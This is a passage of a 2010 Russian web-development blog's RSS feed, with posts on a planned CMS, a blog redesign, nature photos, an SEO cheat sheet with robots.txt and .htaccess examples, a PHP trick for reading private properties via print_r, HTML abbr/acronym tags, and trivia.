Системой смогут воспользоваться как&nbsp;школьник или&nbsp;домохозяйка, так&nbsp;и&nbsp;web-программист со&nbsp;стажем. </p>
<p><strong>Сайт должен выполнять</strong> поставленные перед ним&nbsp;<strong>задачи</strong>.<br />
Мы&nbsp;ориентируемся, с&nbsp;одной стороны, на&nbsp;<strong>гибкость, удобство и&nbsp;лаконичность</strong>, с&nbsp;другой&nbsp;&mdash; <strong>мощный функционал</strong>, способный удовлетворить любые желания пользователя системы. </p>
<p>В&nbsp;нашей системе будут такие «фишки», как&nbsp;управление рекламными кампаниями на&nbsp;сайте, анализаторы трафика, split-тестирование страниц&nbsp;и&nbsp;т.д.</p>
<h3>&mdash;&nbsp;Система ещё&nbsp;не&nbsp;готова?</h3>
<p>Да. Система сейчас находится в&nbsp;стадии программирования. Осенью 2010 мы&nbsp;планируем показать миру бета-версию, а&nbsp;зимой запустить первый коммерческий сайт на&nbsp;нашей системе.</p>
<p><small><a rel="nofollow" target="_blank" href="http://blogfigaroo.ru/goto/?golink=http%3A%2F%2Fvkontakte.ru%2Fclub17659747&hash=56IV6PPC2P0KGW00GO40K4GW8">Мы&nbsp;вконтакте</a></small></p>
<p><i>Спасибо за&nbsp;внимание. Оставайтесь с&nbsp;нами!</i></p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2010/06/engine/fss-begin/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Небольшое обновление блога</title>
		<link>http://blogfigaroo.ru/2010/06/misc/nebolshoe-obnovlenie-bloga/</link>
		<comments>http://blogfigaroo.ru/2010/06/misc/nebolshoe-obnovlenie-bloga/#comments</comments>
		<pubDate>Tue, 29 Jun 2010 21:18:37 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[CS]]></category>
		<category><![CDATA[ВКонтакте]]></category>
		<category><![CDATA[мысли о смысле]]></category>
		<category><![CDATA[планы]]></category>
		<category><![CDATA[про меня]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=1360</guid>
		<description><![CDATA[Здравствуйте, дамы и&#160;господа. Как&#160;вы&#160;уже, наверное, успели заметить, я&#160;немного обновил блог. Новый адрес блога www.blogfigaroo.ru, также я&#160;немного поменял дизайн. Добавил кнопки &#171;Сохранить&#187;&#160;&#8212; теперь записями и&#160;статьями можно легко поделиться в&#160;социальных сетях ВКонтакте, Фейсбуке и&#160;в&#160;Твиттере. Чуть позже, может быть, добавлю ещё&#160;кнопок. У&#160;меня теперь есть электронная визитка и Твиттер. Справа в&#160;сайдбаре я&#160;завёл новый раздел (под миничатом), куда буду помещать [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://blogfigaroo.ru/wp-content/uploads/2009/03/figaroo_logo.png" alt="Figaroo" title="Figaroo" width="150" height="150" class="alignright size-full wp-image-12" align="right" /><br />
Здравствуйте, дамы и&nbsp;господа.</p>
<p>Как&nbsp;вы&nbsp;уже, наверное, успели заметить, я&nbsp;немного обновил блог.<br />
Новый адрес блога <strong>www.blogfigaroo.ru</strong>, также я&nbsp;немного поменял дизайн.</p>
<p>Добавил <strong>кнопки &laquo;Сохранить&raquo;</strong>&nbsp;&mdash; теперь записями и&nbsp;статьями можно легко поделиться в&nbsp;социальных сетях ВКонтакте, Фейсбуке и&nbsp;в&nbsp;Твиттере. Чуть позже, может быть, добавлю ещё&nbsp;кнопок.</p>
<p>У&nbsp;меня теперь есть <a href="http://kirkizh.ru/" title="Киркиж Валерий" class="ico-link ico-kirkizhru">электронная визитка</a> и <a href="http://twitter.com/vkirkizh" title="valery kirkizh twitter" class="ico-link ico-twitter">Твиттер</a>.</p>
<p>Справа в&nbsp;сайдбаре я&nbsp;завёл новый раздел (под миничатом), куда буду помещать <strong>ссылки на&nbsp;интересные мне&nbsp;проекты</strong>, в&nbsp;частности, блоги.<br />
Сейчас там&nbsp;одна одинокая ссылка на&nbsp;<a rel="nofollow" target="_blank" href="http://blogfigaroo.ru/goto/?golink=http%3A%2F%2Fwww.chernyy.ru%2Fblog%2F&hash=8EOMS86WG6WWG8OG0K484SSSK">блог Саши Чёрного</a>, весьма полезный айтишникам, студентам и&nbsp;просто интересующимся. Стоит обратить особое внимание на&nbsp;<a rel="nofollow" target="_blank" href="http://blogfigaroo.ru/goto/?golink=http%3A%2F%2Fwww.chernyy.ru%2Fblog%2Fitlala%2F&hash=CZAQXX3TCGG8GKSS8WKWGS40O">подкаст IT lala</a>, который они&nbsp;выпускают совместно с&nbsp;Женей Гавриным (Женя, привет!). Ребята молодцы.</p>
<p>Теперь, расскажу немного <strong>о&nbsp;ближайших планах</strong>.</p>
<p><strong>Во-первых</strong>, <a href="http://figaroo.ru/" title="Figaroo Group">www.figaroo.ru</a> будет по-тихоньку преобразовываться в&nbsp;официальный сайт моей команды <strong>Figaroo Group</strong>, занимающейся <strong>созданием и&nbsp;разработкой web-сайтов</strong>. Если вам&nbsp;нужен хороший сайт, <a href="http://kirkizh.ru/" title="связаться со мной" class="ico-link ico-kirkizhru">позвоните или&nbsp;напишите</a>&nbsp;мне.</p>
<p>Во-вторых, в&nbsp;скорое время мы&nbsp;с&nbsp;<strong>Vovanych</strong>'ем планируем обновить <a href="http://cs.figaroo.ru/" class="ico-link ico-figaroocsru">сервер Figaroo.CS:War3Mod</a>. Ожидается ещё&nbsp;более тесная интеграция сайта и&nbsp;сервера, новый сервер, новые игровые возможности, личный кабинет игрока для&nbsp;управления своим профилем, подробная статистика по&nbsp;War3Mod.</p>
<p><i>Спасибо за внимание.</i></p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2010/06/misc/nebolshoe-obnovlenie-bloga/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Белоостровские ландыши</title>
		<link>http://blogfigaroo.ru/2010/06/misc/beloostrovskie-landyshi/</link>
		<comments>http://blogfigaroo.ru/2010/06/misc/beloostrovskie-landyshi/#comments</comments>
		<pubDate>Sun, 27 Jun 2010 17:29:57 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[Белоостров]]></category>
		<category><![CDATA[природа]]></category>
		<category><![CDATA[фотоотчёт]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=1246</guid>
		<description><![CDATA[Прогулка по лесу в Белоострове (Карельский перешеек, Ленинградская область). 05.06.2010. Прошу прощения, что так поздно выложил. :-)]]></description>
			<content:encoded><![CDATA[<p>Прогулка по лесу в Белоострове (Карельский перешеек, Ленинградская область).<br />
05.06.2010. Прошу прощения, что так поздно выложил. :-)</p>
<p><img src="http://blogfigaroo.ru/wp-content/uploads/2010/06/050620104233.jpg" alt="Ландыши" width="700" height="543" class="aligncenter size-full wp-image-1247 photo" title="Белоостровские ландыши" /></p>
<p><span id="more-1246"></span></p>
<p><img src="http://blogfigaroo.ru/wp-content/uploads/2010/06/05062010848.jpg" alt="Ландыши" width="700" height="525" class="aligncenter size-full wp-image-1248 photo" title="Белоостровские ландыши" /></p>
<p><img src="http://blogfigaroo.ru/wp-content/uploads/2010/06/050620104231.jpg" alt="Ландыши" width="700" height="521" class="aligncenter size-full wp-image-1250 photo" title="Белоостровские ландыши" /></p>
<p><img src="http://blogfigaroo.ru/wp-content/uploads/2010/06/050620104232.jpg" alt="Ландыши" width="700" height="525" class="aligncenter size-full wp-image-1251 photo" title="Белоостровские ландыши" /></p>
<p><img src="http://blogfigaroo.ru/wp-content/uploads/2010/06/05062010841.jpg" alt="Ландыши" width="525" height="700" class="aligncenter size-full wp-image-1252 photo" title="Белоостровские ландыши" /></p>
<p><img src="http://blogfigaroo.ru/wp-content/uploads/2010/06/050620104240.jpg" alt="Ландыши" width="700" height="525" class="aligncenter size-full wp-image-1253 photo" title="Белоостровские ландыши" /></p>
<p><img src="http://blogfigaroo.ru/wp-content/uploads/2010/06/050620104246.jpg" alt="Ландыши" width="700" height="525" class="aligncenter size-full wp-image-1254 photo" title="Белоостровские ландыши" /></p>
<p><img src="http://blogfigaroo.ru/wp-content/uploads/2010/06/050620104252.jpg" alt="Ландыши" width="700" height="525" class="aligncenter size-full wp-image-1255 photo" title="Белоостровские ландыши" /></p>
<p><img src="http://blogfigaroo.ru/wp-content/uploads/2010/06/050620104255.jpg" alt="Ландыши" width="700" height="525" class="aligncenter size-full wp-image-1256 photo" title="Белоостровские ландыши" /></p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2010/06/misc/beloostrovskie-landyshi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SEO: шпаргалка web-разработчика по оптимизации сайтов</title>
		<link>http://blogfigaroo.ru/2010/03/webdev/seo-cheat-sheet/</link>
		<comments>http://blogfigaroo.ru/2010/03/webdev/seo-cheat-sheet/#comments</comments>
		<pubDate>Mon, 01 Mar 2010 20:27:53 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Web-разработка]]></category>
		<category><![CDATA[.htaccess]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[mod_rewrite]]></category>
		<category><![CDATA[robots.txt]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[семантическая вёрстка]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=1194</guid>
		<description><![CDATA[Здравствуйте, уважаемые читатели. Мне&#160;хотелось&#160;бы представить вашему вниманию шпаргалку по&#160;оптимизации сайтов под&#160;поисковые системы. Основные HTML-тэги, влияющие на&#160;SEO: &#60;title&#62;Заголовок страницы&#60;/title&#62; &#60;h1&#62;Заголовок страницы&#60;/h1&#62; &#60;h2&#62;Заголовок раздела&#60;/h2&#62; &#60;h3&#62;Заголовок подраздела&#60;/h3&#62; &#60;b&#62;ключевое слово&#60;/b&#62;, &#60;strong&#62;ключевое слово&#60;/strong&#62; &#60;i&#62;ключевое слово&#60;/i&#62;, &#60;em&#62;ключевое слово&#60;/em&#62; &#8212; немного меньший вес&#160;ключевых слов, чем&#160;у&#160;b и&#160;strong; &#60;img src="keyword.jpg" alt="ключевое слово" /&#62; &#8212; изображение (сильно влияет атрибут&#160;alt, менее сильно&#160;&#8212; src); &#60;a href="http://example.com/webpage.html" title="ключевое [...]]]></description>
			<content:encoded><![CDATA[<p>Здравствуйте, уважаемые читатели.<br />
Мне&nbsp;хотелось&nbsp;бы представить вашему вниманию шпаргалку по&nbsp;оптимизации сайтов под&nbsp;поисковые системы.</p>
<h3>Основные HTML-тэги, влияющие на&nbsp;SEO:</h3>
<ul>
<li>&lt;<strong>title</strong>&gt;Заголовок страницы&lt;/title&gt;</li>
<li>&lt;<strong>h1</strong>&gt;Заголовок страницы&lt;/h1&gt;</li>
<li>&lt;<strong>h2</strong>&gt;Заголовок раздела&lt;/h2&gt;</li>
<li>&lt;<strong>h3</strong>&gt;Заголовок подраздела&lt;/h3&gt;</li>
<li>&lt;<strong>b</strong>&gt;ключевое слово&lt;/b&gt;, &lt;<strong>strong</strong>&gt;ключевое слово&lt;/strong&gt;</li>
<li>&lt;<strong>i</strong>&gt;ключевое слово&lt;/i&gt;, &lt;<strong>em</strong>&gt;ключевое слово&lt;/em&gt; &mdash; немного меньший вес&nbsp;ключевых слов, чем&nbsp;у&nbsp;b и&nbsp;strong;</li>
<li>&lt;<strong>img</strong> src="keyword.jpg" alt="ключевое слово" /&gt; &mdash; изображение (сильно влияет атрибут&nbsp;<strong>alt</strong>, менее сильно&nbsp;&mdash; <strong>src</strong>);</li>
<li>&lt;<strong>a</strong> href="http://example.com/webpage.html" title="ключевое слово"&gt;Ключевое слово&lt;/a&gt; &mdash; ссылка, по&nbsp;которой поисковая система перейдёт;</li>
<li>&lt;<strong>a</strong> href="http://example.com/webpage.html" title="ключевое слово" <strong>rel="nofollow"</strong>&gt;Ключевое слово&lt;/a&gt; &mdash; ссылка, по&nbsp;которой поисковая система не&nbsp;должна переходить;</li>
<li>Группа мета-тэгов (&lt;<strong>meta</strong> name="..." content="..." /&gt;) &mdash; описание ниже.</li>
</ul>
<p>Старайтесь использовать <a href="http://blogfigaroo.ru/tag/vyorstka/">семантическую вёрстку</a> и&nbsp;валидный код HTML/CSS, используйте вышеприведённые тэги по&nbsp;назначению. Выделение заголовков и&nbsp;ключевых слов на&nbsp;странице сильно влияет на&nbsp;её&nbsp;ранжирование при&nbsp;выдаче пользователю. Указание осмысленных атрибутов у&nbsp;изображений позволит поисковикам их&nbsp;находить, а&nbsp;также повлияет в&nbsp;лучшую сторону на&nbsp;ранжирование.</p>
<h3>Рекомендованный стиль заголовков (&lt;title&gt;):</h3>
<blockquote><p>Название страницы &laquo; Подкатегория &laquo; Категория | Название сайта</p></blockquote>
<p>Старайтесь придерживаться данного стиля, он&nbsp;является стандартом де-факто и&nbsp;признан наиболее удачным.<br />
<span id="more-1194"></span></p>
<h3>Используйте мета-тэги</h3>
<p>Пример:<br />
<pre class="brush: html">
&lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html; charset=UTF-8&quot; /&gt;
&lt;meta http-equiv=&quot;content-language&quot; content=&quot;ru&quot; /&gt;
&lt;meta name=&quot;robots&quot; content=&quot;index,follow&quot; /&gt;
&lt;meta name=&quot;description&quot; content=&quot;Описание сайта литературным языком.&quot; /&gt;
&lt;meta name=&quot;keywords&quot; content=&quot;ключевые, слова, через, запятую или пробел&quot; /&gt;
</pre></p>
<ul>
<li><strong>content-type</strong> указывает на&nbsp;тип&nbsp;содержимого и&nbsp;кодировку страницы</li>
<li><strong>content-language</strong> указывает на&nbsp;язык страницы</li>
<li><strong>robots</strong> определяет правила индексации страницы поисковыми системами (перечисляются через запятую)</li>
<li><strong>description</strong> задаёт описание вашего сайта, которое используется некоторыми поисковиками и&nbsp;некоторыми браузерами (при&nbsp;добавлении в&nbsp;закладки), макс. длина&nbsp;&mdash; <strong>160</strong>&nbsp;знаков</li>
<li><strong>keywords</strong> задаёт ключевые слова, идеальный вариант&nbsp;&mdash; когда keywords хорошо соответствуют ключевым словам в&nbsp;тексте страницы, макс. длина&nbsp;&mdash; <strong>255</strong>&nbsp;знаков, <strong>20</strong>&nbsp;слов</li>
</ul>
<h3>Ограничения поисковых систем:</h3>
<ul>
<li>Размер страницы (без картинок и внешних CSS/JS-файлов)&nbsp;&mdash; не&nbsp;более <strong>150</strong>&nbsp;килобайт</li>
<li>Количество ссылок на&nbsp;странице&nbsp;&mdash; не&nbsp;более&nbsp;<strong>100</strong></li>
<li>Заголовок (&lt;title&gt;)&nbsp;&mdash; не&nbsp;более <strong>70</strong>&nbsp;символов</li>
<li>Кол-во параметров в&nbsp;ссылках&nbsp;&mdash; не&nbsp;более&nbsp;<strong>2</strong>-х</li>
<li>Глубина&nbsp;URL&nbsp;&mdash; не&nbsp;более <strong>4</strong>-х&nbsp;уровней</li>
</ul>
<p>Старайтесь следовать данным ограничениям, поисковые системы откинут всё&nbsp;лишнее (в&nbsp;лучшем случае).</p>
<h3>Используйте файл robots.txt</h3>
<p>Создайте и&nbsp;разместите в&nbsp;корневом каталоге файл с&nbsp;именем <strong>robots.txt</strong> (пример: http://example.com/robots.txt).<br />
Запретите страницы, которые не следует индексировать.<br />
Пример синтаксиса:<br />
<pre class="brush: plain">
User-agent: *
Disallow: /privatefolder/
Disallow: /privatefile.html

User-agent: Yandex
Disallow: /privatefolder/
Disallow: /privatefile.html

Sitemap: http://example.com/sitemap.xml
Sitemap: http://example.com/sitemap.xml.gz

User-agent: ia_archiver
Disallow: /

User-agent: duggmirror
Disallow: /
</pre></p>
<p><strong>Важно:</strong> Yandex (несмотря на&nbsp;все&nbsp;описания) требует дублирования правил для&nbsp;робота &laquo;Yandex&raquo; (см.&nbsp;пример выше).<br />
<strong>Важно:</strong> указывайте только абсолютные URL для&nbsp;sitemap'ов.<br />
Пример правильного файла можно посмотреть <a href="http://blogfigaroo.ru/robots.txt">здесь</a>. Особенно пригодится, если вы&nbsp;используете WordPress.</p>
<h3>Используйте файл sitemap.xml</h3>
<p>Создайте и&nbsp;разместите в&nbsp;корневом каталоге файл с&nbsp;именем <strong>sitemap.xml</strong> (пример: http://example.com/sitemap.xml).<br />
Укажите страницы, которые необходимо индексировать.<br />
Пример синтаксиса:<br />
<pre class="brush: plain">
&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&lt;urlset xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&gt;
&lt;url&gt;
&lt;loc&gt;http://example.com/page/ &lt;/loc&gt;
&lt;lastmod&gt;2010-02-28&lt;/lastmod&gt;
&lt;changefreq&gt;monthly&lt;/changefreq&gt;
&lt;priority&gt;0.8&lt;/priority&gt;
&lt;/url&gt;
&lt;/urlset&gt;
</pre></p>
<p>Для&nbsp;автоматической генерации карты сайта в&nbsp;формате sitemap.xml можно воспользоваться сервисом <a rel="nofollow" target="_blank" href="http://blogfigaroo.ru/goto/?golink=http%3A%2F%2Fwww.xml-sitemaps.com%2F&hash=5UJ280H6SROKKOOWW4OO8G0K4">www.xml-sitemaps.com</a>, для&nbsp;WordPress существует плагин <a rel="nofollow" target="_blank" href="http://blogfigaroo.ru/goto/?golink=http%3A%2F%2Fwww.arnebrachhold.de%2Fprojects%2Fwordpress-plugins%2Fgoogle-xml-sitemaps-generator%2F&hash=EM08RIFTD8O4WC0CO8GGOC4G8">Google XML&nbsp;Sitemaps</a>.</p>
<h3>Ещё советы по&nbsp;SEO-оптимизации:</h3>
<ul>
<li>При&nbsp;изменении адреса (URL) страницы, следует поставить 301-ый редирект. Сделать это&nbsp;можно, например, как&nbsp;показано ниже (код для файла <a href="http://blogfigaroo.ru/2009/03/glossary/htaccess/">.htaccess</a>):<br />
<pre class="brush: plain">
Redirect 301 /oldpage1.html http://example.com/newpage1.html
Redirect 301 /oldpage2.html http://example.com/newpage2.html
</pre>
</li>
<li>Определитесь с&nbsp;доменом &mdash; либо с&nbsp;префиском "www.", либо без&nbsp;него. Код для&nbsp;.htaccess ниже убирает префикс:<br />
<pre class="brush: plain">
RewriteEngine on
RewriteCond %{HTTP_HOST} ^www.example\.com [NC]
RewriteRule (.*) http://example.com/$1 [L,R=301]
</pre>
</li>
<li>Старайтесь не&nbsp;дублировать контент (ситуация, когда два&nbsp;разных адреса ведут на&nbsp;одно и&nbsp;то&nbsp;же содержимое). Для&nbsp;указания на&nbsp;то, что&nbsp;одна страница является копией другой, можно использовать специальный тэг (к&nbsp;сожалению, его&nbsp;понимают не&nbsp;все&nbsp;поисковики):<br />
<pre class="brush: html">
&lt;link rel=&quot;canonical&quot; href=&quot;http://example.com/page/&quot; /&gt;
</pre></p>
<p>Можно запретить дублирующий контент в&nbsp;robots.txt.
</li>
<li>Не&nbsp;забудьте про&nbsp;иконку вашего сайта:<br />
<pre class="brush: html">
&lt;link rel=&quot;icon&quot; href=&quot;http://example.com/favicon.ico&quot; type=&quot;image/x-icon&quot; media=&quot;all&quot; /&gt;
&lt;link rel=&quot;shortcut icon&quot; href=&quot;http://example.com/favicon.ico&quot; type=&quot;image/x-icon&quot; media=&quot;all&quot; /&gt;
</pre>
</li>
<li>Помните, что&nbsp;поисковые системы не&nbsp;очень дружелюбны к&nbsp;фреймам.</li>
<li>Помните, что&nbsp;поисковые системы не &nbsp;понимают страниц на&nbsp;Flash'е, AJAX'е, защищённых авторизацией и&nbsp;т.д.</li>
<li>Не&nbsp;забывайте про&nbsp;инструменты <a rel="nofollow" target="_blank" href="http://blogfigaroo.ru/goto/?golink=http%3A%2F%2Fwebmaster.yandex.ru%2F&hash=EJITWJHQTKOWSWOOCCS4WS0CO">Яндекса</a> и&nbsp;<a rel="nofollow" target="_blank" href="http://blogfigaroo.ru/goto/?golink=http%3A%2F%2Fwww.google.com%2Fwebmasters%2Ftools%2F&hash=1ES9PWHH23OGGCG4COW0SGCS0">Гугла</a> для&nbsp;web-разработчиков.
</ul>
<p>Теперь Вы&nbsp;знаете, <strong>как&nbsp;оптимизировать сайт под&nbsp;поисковые системы</strong>. Спасибо за&nbsp;внимание.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2010/03/webdev/seo-cheat-sheet/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Как в PHP получить значение private-свойства</title>
		<link>http://blogfigaroo.ru/2010/02/webdev/php-get-private-value/</link>
		<comments>http://blogfigaroo.ru/2010/02/webdev/php-get-private-value/#comments</comments>
		<pubDate>Wed, 10 Feb 2010 20:31:03 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Web-разработка]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[программистские трюки]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=1161</guid>
		<description><![CDATA[Условие: нельзя менять исходный класс. Решение: использовать оператор print_r и буферизацию вывода. &#60;?php // проверочный класс class Test { // приватное свойство private $value; // функция установки приватного свойства public function set($init) { $this-&#62;value = $init; } } // объект проверочного класса $tmp = new Test(); // установим значение приватного свойства $tmp-&#62;set(1024); // получим значение [...]]]></description>
			<content:encoded><![CDATA[<p>Условие: нельзя менять исходный класс.<br />
Решение: использовать оператор <em>print_r</em> и буферизацию вывода.<br />
<span id="more-1161"></span></p>
<p><pre class="brush: php">
&lt;?php

// проверочный класс
class Test {
	// приватное свойство
	private $value;
	// функция установки приватного свойства
	public function set($init) {
		$this-&gt;value = $init;
	}
}

// объект проверочного класса
$tmp = new Test();

// установим значение приватного свойства
$tmp-&gt;set(1024);

// получим значение приватного свойства
ob_start();
print_r($tmp);
$ob = ob_get_contents();
ob_end_clean();
preg_match(&quot;#\\[value:private\\] =&gt; ([^\s]*)\n#is&quot;, $ob, $m);
$value = $m[1];
echo $value;

?&gt;
</pre></p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2010/02/webdev/php-get-private-value/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Аббревиатура и акроним</title>
		<link>http://blogfigaroo.ru/2010/02/webdev/abbreviatura-i-akronim/</link>
		<comments>http://blogfigaroo.ru/2010/02/webdev/abbreviatura-i-akronim/#comments</comments>
		<pubDate>Sun, 07 Feb 2010 22:24:05 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Web-разработка]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[русский язык]]></category>
		<category><![CDATA[семантическая вёрстка]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=1132</guid>
		<description><![CDATA[Здравствуйте, дорогие читатели. В&#160;этой заметке я&#160;хотел&#160;бы рассказать о&#160;том, что&#160;такое аббревиатура и&#160;акроним, чем они&#160;отличаются, и&#160;как использовать HTML-тэги abbr и&#160;acronym. Что&#160;говорит нам&#160;словарь: Аббревиат́ура (итал. abbreviatura от&#160;лат. brevis&#160;&#8212; краткий)&#160;&#8212; в&#160;старинных рукописях и&#160;книгах сокращённое написание слова или&#160;группы слов; в&#160;современных изданиях любое сокращённое слово или&#160;словосочетание. Акр́оним&#160;&#8212; аббревиатура, образованная из&#160;начальных букв слов или&#160;словосочетаний, произносимая как&#160;единое слово, а&#160;не&#160;побуквенно. Соотвественно, каждый акроним&#160;&#8212; это&#160;аббревиатура, [...]]]></description>
			<content:encoded><![CDATA[<p>Здравствуйте, дорогие читатели.<br />
В&nbsp;этой заметке я&nbsp;хотел&nbsp;бы рассказать о&nbsp;том, что&nbsp;такое <strong>аббревиатура</strong> и&nbsp;<strong>акроним</strong>, чем они&nbsp;отличаются, и&nbsp;как использовать HTML-тэги <em>abbr</em> и&nbsp;<em>acronym</em>.</p>
<p>Что&nbsp;говорит нам&nbsp;словарь:</p>
<blockquote><p>Аббревиат́ура (<em>итал. abbreviatura от&nbsp;лат. brevis&nbsp;&mdash; краткий</em>)&nbsp;&mdash; в&nbsp;старинных рукописях и&nbsp;книгах сокращённое написание слова или&nbsp;группы слов; в&nbsp;современных изданиях любое сокращённое слово или&nbsp;словосочетание.</p></blockquote>
<blockquote><p>Акр́оним&nbsp;&mdash; аббревиатура, образованная из&nbsp;начальных букв слов или&nbsp;словосочетаний, произносимая как&nbsp;единое слово, а&nbsp;не&nbsp;побуквенно.</p></blockquote>
<p><span id="more-1132"></span></p>
<p>Соотвественно, каждый акроним&nbsp;&mdash; это&nbsp;аббревиатура, но&nbsp;не&nbsp;каждая аббревиатура&nbsp;&mdash; акроним.<br />
В&nbsp;языке HTML мы&nbsp;имеем соответствующие тэги: <strong>acronym</strong> и&nbsp;<strong>abbr</strong>. В&nbsp;современных браузерах по&nbsp;умолчанию они&nbsp;выглядят одинаково, но&nbsp;семантически обозначают разные вещи.</p>
<p><strong>Примеры обычных аббревиатур:</strong> <em>ОБЖ</em>&nbsp;(читается &laquo;обэжэ&raquo;, а&nbsp;не&nbsp;&laquo;обж&raquo;)&nbsp;&mdash; основы безопасности жизнедеятельности, <em>IP</em>&nbsp;(читается &laquo;айпи&raquo;, а&nbsp;не&nbsp;&laquo;ип&raquo;)&nbsp;&mdash; Internet Protocol.</p>
<p><strong>Примеры акронимов:</strong> <em>GNU</em>&nbsp;(читается &laquo;гну&raquo;, а&nbsp;не&nbsp;&laquo;гэнэу&raquo;)&nbsp;&mdash; GNU’s Not UNIX, <em>вуз</em>&nbsp;(читается &laquo;вуз&raquo;, а&nbsp;не&nbsp;&laquo;вэузэ&raquo;)&nbsp;&mdash; высшее учебное заведение.</p>
<p>Соответственно, устройству чтения с&nbsp;экрана принципиально важно, является слово акронимом или&nbsp;обычной аббревиатурой.</p>
<p>Стоит также отметить, что&nbsp;Internet Explorer версии&nbsp;6 и&nbsp;ниже, к&nbsp;сожалению, не&nbsp;понимает тэга <strong>abbr</strong> (для&nbsp;него это&nbsp;просто неизвестный&nbsp;тэг). Думаю, это&nbsp;не&nbsp;столь важная проблема в&nbsp;наше время.</p>
<p><em>Спасибо за&nbsp;внимание.</em></p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2010/02/webdev/abbreviatura-i-akronim/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Интересные факты</title>
		<link>http://blogfigaroo.ru/2010/02/misc/interesnye-fakty-2/</link>
		<comments>http://blogfigaroo.ru/2010/02/misc/interesnye-fakty-2/#comments</comments>
		<pubDate>Fri, 05 Feb 2010 22:31:18 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[GPL]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[интересное]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=818</guid>
		<description><![CDATA[1. На&#160;пальцах можно считать от&#160;нуля до&#160;1023-х. Для&#160;этого нужно задать порядок следования пальцев на&#160;обоих руках и&#160;использовать две&#160;руки как&#160;10-разрядное двоичное число. Загнутый палец&#160;&#8212; единица, разогнутый&#160;&#8212; ноль. 2. Программистам из&#160;Microsoft запрещено смотреть программный код, распространяемый по&#160;лицензии GPL. Ведь, GPL-код требует, чтобы проект, его&#160;использующий, тоже распространялся по&#160;лицензии&#160;GPL, а&#160;для&#160;Miscrosoft это&#160;недопустимо. 3. У&#160;бейсбола есть русский &#171;аналог&#187;&#160;&#8212; лапта.]]></description>
			<content:encoded><![CDATA[<p><b>1.</b> На&nbsp;пальцах можно считать <em>от&nbsp;нуля до&nbsp;1023-х</em>. Для&nbsp;этого нужно задать порядок следования пальцев на&nbsp;обоих руках и&nbsp;использовать две&nbsp;руки как&nbsp;<em>10-разрядное двоичное число</em>. Загнутый палец&nbsp;&mdash; единица, разогнутый&nbsp;&mdash; ноль.</p>
<p><b>2.</b> Программистам из&nbsp;<em>Microsoft</em> запрещено смотреть программный код, распространяемый по&nbsp;<a rel="nofollow" target="_blank" href="http://blogfigaroo.ru/goto/?golink=http%3A%2F%2Fru.wikipedia.org%2Fwiki%2FGPL&hash=3XW14ATI0UIOSWWSS48C48OKK">лицензии GPL</a>. Ведь, GPL-код требует, чтобы проект, его&nbsp;использующий, тоже распространялся по&nbsp;лицензии&nbsp;GPL, а&nbsp;для&nbsp;Miscrosoft это&nbsp;недопустимо.</p>
<p><b>3.</b> У&nbsp;бейсбола есть русский &laquo;аналог&raquo;&nbsp;&mdash; <a rel="nofollow" target="_blank" href="http://blogfigaroo.ru/goto/?golink=http%3A%2F%2Fru.wikipedia.org%2Fwiki%2F%25D0%259B%25D0%25B0%25D0%25BF%25D1%2582%25D0%25B0&hash=7A5XDBS031GKW4CKSCSWKO0CW">лапта</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blogfigaroo.ru/2010/02/misc/interesnye-fakty-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Почему важна информационная безопасность каждого человека</title>
		<link>http://blogfigaroo.ru/2010/01/misc/informacionnaya-bezopasnost/</link>
		<comments>http://blogfigaroo.ru/2010/01/misc/informacionnaya-bezopasnost/#comments</comments>
		<pubDate>Tue, 12 Jan 2010 14:57:05 +0000</pubDate>
		<dc:creator>Figaroo</dc:creator>
				<category><![CDATA[Разное]]></category>
		<category><![CDATA[безопасность]]></category>

		<guid isPermaLink="false">http://blogfigaroo.ru/?p=1107</guid>
